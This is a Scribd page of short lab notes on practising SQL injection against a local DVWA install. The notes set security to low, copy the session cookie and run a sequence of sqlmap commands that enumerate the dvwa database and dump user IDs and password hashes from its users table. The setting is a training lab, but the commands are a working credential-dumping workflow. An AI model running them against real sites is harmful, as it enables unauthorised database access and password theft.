Scribd
Upload
4 views1 page

SQL Injection with DVWA and SQLMap

The document provides a step-by-step guide on setting up and using DVWA (Damn Vulnerable Web Application) for practicing SQL injection. It includes commands for installation, starting the application, and using sqlmap to exploit vulnerabilities and extract data from the database. The process involves manipulating cookies and executing various sqlmap commands to retrieve user information from the DVWA database.

Uploaded by

mujganaliyeva16
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd
4 views1 page

SQL Injection with DVWA and SQLMap

The document provides a step-by-step guide on setting up and using DVWA (Damn Vulnerable Web Application) for practicing SQL injection. It includes commands for installation, starting the application, and using sqlmap to exploit vulnerabilities and extract data from the database. The process involves manipulating cookies and executing various sqlmap commands to retrieve user information from the DVWA database.

Uploaded by

mujganaliyeva16
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as DOCX, PDF, TXT or read online on Scribd

sudo apt update

sudo apt install dvwa (y)


sudo dvwa-start
dvwa-da:
username: admin
password: password
DVWA Security: low
setup/reset db reset edirik
sql injection -> user id-> 1
sag klik -> inspect (q)
network -> cookies

sudo sqlmap
sqlmap -h
sudo sqlmap -u "[Link]
id=1&Submit=Submit" --
cookie="PHPSESSID=77ff5101904a0b26c7b92eae2c7f1466;security=low" --all
y hamisinda
sudo sqlmap -u "[Link]
id=1&Submit=Submit" --
cookie="PHPSESSID=77ff5101904a0b26c7b92eae2c7f1466;security=low" -D dvwa
--tables
sudo sqlmap -u "[Link]
id=1&Submit=Submit" --
cookie="PHPSESSID=77ff5101904a0b26c7b92eae2c7f1466;security=low" -D dvwa
-T users --columns
sudo sqlmap -u "[Link]
id=1&Submit=Submit" --
cookie="PHPSESSID=77ff5101904a0b26c7b92eae2c7f1466;security=low" -D dvwa
-T users -C user_id,password -dump (y)
sudo cat /root/.local/share/sqlmap/output/[Link]/dump/dvwa/[Link]

You might also like